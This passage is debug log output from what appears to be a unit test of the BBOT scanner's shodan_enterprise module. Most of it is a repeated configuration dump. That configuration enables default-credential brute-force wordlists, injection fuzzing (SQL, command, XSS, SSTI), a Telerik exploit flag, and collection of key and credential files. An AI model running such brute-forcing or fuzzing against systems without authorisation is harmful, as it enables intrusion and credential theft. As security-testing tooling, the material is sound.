'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_q8s6vudj9t'}, 'started_at': '2026-02-27T19:11:52.845225', 'status': 'RUNNING'} +2026-02-27 19:11:53,560 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 19:11:53,560 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,561 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED +2026-02-27 19:11:53,561 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com +2026-02-27 19:11:53,561 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 {'target', 'in-scope', 'unresolved', 'domain'} +2026-02-27 19:11:53,562 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,562 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 19:11:53,562 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_enterprise_test_q8s6vudj9t', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_q8s6vudj9t', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_q8s6vudj9t'}, 'started_at': '2026-02-27T19:11:52.845225', 'finished_at': '2026-02-27T19:11:53.407956', 'duration_seconds': 0.562731, 'duration': '0 seconds', 'status': 'FINISHED'} +2026-02-27 19:11:53,563 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 19:11:53,563 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5f3f244df928e2a075678dc7d71d5f084d2658c1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:11:53,564 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 19:11:53,564 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 21:21:34,581 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from 